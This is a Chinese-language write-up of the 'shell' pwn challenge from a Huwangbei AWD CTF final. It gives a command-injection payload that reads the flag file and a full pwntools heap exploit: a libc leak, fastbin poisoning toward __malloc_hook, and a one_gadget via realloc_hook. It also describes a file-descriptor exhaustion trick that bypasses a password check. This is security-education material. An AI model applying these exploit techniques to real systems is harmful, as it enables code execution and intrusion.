第一届护网杯线下决赛awd之shell多解

前言

好久不打比赛,顺便来北京实习就参加了护网杯。排名虽然有所提高但还是被各种大表哥吊打。(和企业参赛简直痛苦)这里带来决赛中awd比赛pwn题shell的两种漏洞利用方式。

程序保护

保护全开

程序分析

程序模拟了一个受限shell命令行的功能。
一共有8个shell功能,根据漏洞利用方式可以分为两类。

第一类:ls,pwd,passwd,login,exit
其中passwd和login是假的利用方式。

就是密码通过打开random文件进行随机化。若账号密码正确则执行错误的system调用233333333333。加条知识点就是当连续open文件1024次上后,使文件描述符数组满了后,无法再次打开文件,即读取到的密码为空。这样就可以绕过密码实现登录(当然在这里登录没用)
第二类:recv,send,decode,encode。
实现通过堆的漏洞利用。

漏洞利用

命令注入


ls和pwd可以组合实现任意命令执行。大佬们看见这一行指令就开始疯狂刷分了。可怜我等菜鸟没经验编自动化脚本调格式都要半天。。。
payload为|cat<../flag即可直接获取flag这里不多解释这种方式

堆利用

这种题在这个比赛肯定还有别的做法。。。(上面的做法太敷衍)于是开始考虑有无别的利用途径

send功能:若指针处有值,则free掉他.之后malloc一个任意大小的堆块填充至指针。并可进行堆块的填充。

recv功能:若指针处有值,则free掉他。之后malloc一个任意大小的堆块填充至指针。并将send功能指针指向的chunk内容通过strlen和memcpy拷贝到recv功能指针指向堆块。(明显存在堆溢出漏洞,且是大小不限的堆溢出漏洞)

encode功能:将send指针堆块内容加密。可通过此功能绕过strlen的0字节溢出限制。

decode功能:将recv指针堆块内容解密。只有此处存在一个put可以进行信息泄露。

程序一共可维持两个任意大小的堆块。malloc和free是绑定的,free掉原堆块再malloc新堆块。decode和encode用来配合使用绕过strlen限制和泄露信息。

信息泄露

awd比赛自带libc,首先泄露libc的基址。
先分配两个堆块,此时指针
malloc(0xa0)//send 指针
malloc(0x60)//recv 指针
执行一次send功能。free掉send指针再分配回来。可以得到unsorted bin的地址。再执行encode功能。通过recv功能接受send堆块的内容后通过decode泄露libc地址。
脚本流程如下:
send(0xa0,’a’)
recv(0x60)
send(0xa0,’’)
encode(8)
recv(0x60)
p.writeline(‘decode’)
p.readuntil(‘:’)
p.writeline(‘8’)
p.readuntil(‘\n’)
libc=u64(chr(0)+p.readuntil(‘\n’)[:-1]+chr(0)*2)-0x398B00
success(hex(libc))

漏洞实现

现在我们有了libc地址,需要考虑向哪里写入one_gadget实现利用。
利用方式通过常见的malloc_hook加realloc_hook实现
初始状态:
chunk a //send
chunk b //recv
我们可以通过写入a覆盖b的信息。
首先send功能malloc一个更大值
状态1:
chunk a//空(free掉)
chunk b//recv
chunk c//send
之后使用recv功能占位a并通过memcpy实现溢出。
状态2:
chunk a// recv
chunk b//空(free掉) size 0x71
chunk c//send
将chunk c memcpy到chunk a。实现对b的溢出.将b的fd指针指向malloc_hook-0x23.中间通过encode和decode功能辅助
之后通过send和recv功能各malloc一个0x60的堆即可完成利用。这里有新的难点。此时不知为何free c因和topchunk合并调用malloc_consolidate产生异常。

于是通过覆盖a的同时覆盖到c。伪造一个chunk与top chunk相连。
这时通过send和recv功能各申请一个0x60的堆块即可写入malloc_hook.这里one_gadget环境不对,通过realloc_hook微调这里不再叙述,参考上一篇文章。

脚本

from pwn import *
p=process('./shell')
elf=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
p.readuntil('> ')
def encode(a):
    p.writeline('encode')
    p.readuntil(':')
    p.writeline(str(a))
    p.readuntil('> ')
def decode(a):
    p.writeline('decode')
    p.readuntil(':')
    p.writeline(str(a))
    p.readuntil('> ')
def send(a,b):
    p.writeline('send')
    p.readuntil(':')
    p.writeline(str(a))
    p.readuntil('Content')
    p.writeline(b)
    p.readuntil('> ')
def recv(a):
    p.writeline('recv')
    p.readuntil(':')
    p.writeline(str(a))
    p.readuntil('> ')
context(log_level='debug')

send(0xa0,'a')
recv(0x60)
send(0xa0,'')
encode(8)
recv(0x60)
p.writeline('decode')
p.readuntil(':')
p.writeline('8')
p.readuntil('\n')
libc=u64(chr(0)+p.readuntil('\n')[:-1]+chr(0)*2)-0x398B00
success(hex(libc))
send(0x150,'a'*0x90+p64(0)*3+p64(0x71)+p64(libc+elf.symbols['__malloc_hook']-0x23)+chr(0)*0x60+p64(0x21)+chr(0)*0x18+p64(0x141))
encode(0x150)
recv(0xa0)
decode(0x150)
re_hook=libc+elf.symbols['__realloc_hook']
mac_hook=libc+elf.symbols['__malloc_hook']
realloc=libc+elf.symbols['__libc_realloc']
send(0x60,'b'*(0x13-8)+p64(libc+0x3f33a)+p64(realloc+6))
encode(0x20)
success(hex(libc+0x398b00))
recv(0x60)
decode(0x20)
success(hex(libc+elf.symbols['__malloc_hook']-0x23))
gdb.attach(p)
p.interactive()

总结

积分赛排名还好,awd日常被暴打。。和腾讯在一个分组简直是一个噩梦。膜。。如有不对请指正